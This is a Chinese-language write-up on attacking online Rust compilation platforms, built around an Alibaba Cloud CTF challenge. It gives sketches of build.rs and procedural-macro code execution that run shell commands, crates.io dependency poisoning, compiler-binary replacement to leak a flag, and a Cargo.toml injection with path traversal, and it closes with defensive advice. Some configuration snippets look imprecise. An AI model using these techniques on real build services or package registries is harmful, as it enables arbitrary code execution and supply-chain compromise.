rust编译平台常见攻击利用方法
字数 2001 2025-08-29 22:41:32
Rust编译平台常见攻击利用方法深度解析
1. Rust编译平台安全背景
随着Rust语言在高性能、内存安全等领域的优势被广泛认可,越来越多的开发者将其应用于后端开发,特别是在WebAssembly、微服务和高并发场景中。然而,Rust生态的快速扩张也带来了新的安全挑战:
- 虽然语言本身通过所有权机制规避了内存安全问题
- 但Web应用层的逻辑漏洞(如SQL注入、身份验证绕过)仍然存在
- 第三方库的潜在缺陷(如未充分审计的unsafe代码滥用)
- 对安全实践的过度自信(如忽略输入验证或错误配置CORS策略)
在线编译环境随处可见,非常容易成为攻击的重点对象。
2. Rust项目结构核心知识
2.1 Cargo.toml文件
Cargo.toml文件是Rust项目的"中枢神经",扮演着至关重要的清单(Manifest)角色:
- 定义包元数据(版本、作者、许可证)
- 声明依赖关系(通过本地路径、Git仓库或crates.io引入第三方crate)
- 定制编译策略(特性开关、优化级别、目标平台配置)
- 扩展自定义构建脚本
2.2 跨项目引用机制
- workspace:管理多个关联的包(多crate项目),允许在单一仓库中组织多个crate,共享依赖和构建缓存
- 过程宏(Procedural Macros):Rust的元编程核心工具,允许在编译时对代码进行动态生成和转换
3. Rust编译平台攻击利用方法
3.1 利用test宏快速白盒审计
Rust的test宏提供了便捷的测试方式:
#[test]
fn test_audit() {
// 审计代码逻辑
let result = function_to_audit(input);
assert_eq!(result, expected_output);
}
执行cargo test即可完成快速代码审计测试。
3.2 利用Cargo特性实现编译期执行
在仅编译不执行的平台中,可利用以下Cargo特性:
3.2.1 Rust编译期的三种执行方式
- 过程宏编译执行
- build.rs执行
- 编译时计算(const fn)(通常难以利用)
3.2.2 利用Cargo.toml实现main.rs自执行
通过修改Cargo.toml,将main.rs作为build脚本执行:
[package]
# ...其他配置
[build]
path = "src/main.rs"
示例攻击代码(在当前目录创建测试文件):
use std::fs::File;
fn main() {
File::create("test_file").unwrap();
}
即使不执行,仅编译也会生成文件。
3.2.3 crates.io投毒攻击
利用依赖项的build.rs执行恶意代码:
- 在crate的build.rs中植入恶意代码
- 上传到crates.io
- 目标项目引用该crate时自动执行
(注意:现在crates.io上传的库可以进行删除,溯源可能性降低)
3.2.4 利用过程宏执行
- 上传包含过程宏代码的main.rs(第一次上传,编译不通过)
- 获取文件名称与路径
- 在第二个项目中通过Cargo.toml引用该文件:
[lib]
proc-macro = true
path = "/path/to/first_upload/main.rs"
过程宏示例代码:
use proc_macro::TokenStream;
#[proc_macro]
pub fn malicious(_: TokenStream) -> TokenStream {
// 恶意操作代码
std::process::Command::new("sh").arg("-c").arg("malicious_command").output().unwrap();
TokenStream::new()
}
3.3 平台环境判断技术
3.3.1 判断系统和架构
if cfg!(target_os = "linux") {
// Linux特定代码
}
3.3.2 读取目录判断Docker环境
if std::path::Path::new("/.dockerenv").exists() {
// 在Docker容器中
}
3.3.3 命令执行收集信息
let output = std::process::Command::new("uname").arg("-a").output().unwrap();
let info = String::from_utf8_lossy(&output.stdout);
3.4 替换编译器攻击
Linux中rustc和cargo的常见位置:
-
系统级:
/usr/bin/rustc/usr/bin/cargo/usr/local/bin/rustc/usr/local/bin/cargo
-
用户级:
~/.cargo/bin/rustc~/.cargo/bin/cargo
替换示例(将flag作为错误状态码返回):
use std::fs;
fn main() {
let flag = fs::read_to_string("/flag").unwrap();
for c in flag.chars() {
std::process::exit(c as i32);
}
}
4. 实战案例:Rust Action CTF题目分析
4.1 题目背景
模拟简化版GitHub Action系统,功能包括:
/jobs/list:列出所有Job/jobs/upload:上传Job的zip压缩包/jobs/{id}/run:运行指定Job/artifacts/list:列出所有构建产物/artifacts/{id}:下载指定构建产物
4.2 漏洞分析
config.toml关键配置:
[server]
host = "0.0.0.0"
port = 8080
[storage]
jobs_dir = "./data/jobs"
artifacts_dir = "./data/artifacts"
主要漏洞点:
route::upload_job函数中不安全的Cargo.toml生成方式:
let cargo_toml = format!(
r#"
[package]
name = "job"
version = "0.1.0"
edition = "2021"
description = "{}"
[dependencies]
"#,
job.description // 未转义的用户输入
);
4.3 漏洞利用步骤
- 发现注入点:通过description字段注入任意Cargo.toml配置
- 绕过文件限制:
- 系统限制只能操作main.rs文件
- 但过程宏需要lib.rs和main.rs两个文件
- 解决方案:上传两个Job,利用路径穿越引用
- 具体利用过程:
Job A (定义过程宏):
// 恶意过程宏代码
Job B (触发过程宏):
[package]
# ...正常配置
[dependencies]
malicious = { path = "../job_A" } // 路径穿越引用
[lib]
proc-macro = true
- 替换Cargo文件:
- 利用过程宏执行命令替换Cargo文件
- 替换后每次编译执行的错误代码即为flag
5. 防御建议
- 对Cargo.toml模板中的用户输入进行严格过滤
- 限制path字段的路径访问范围
- 禁止proc-macro等危险特性
- 在沙箱环境中执行编译过程
- 监控和限制build.rs的执行权限
- 实施依赖库的严格审计机制
6. 参考文献
- 阿里云CTF官方wp
- Rust官方文档 - 过程宏
- Cargo不稳定特性文档
- crates.io发布指南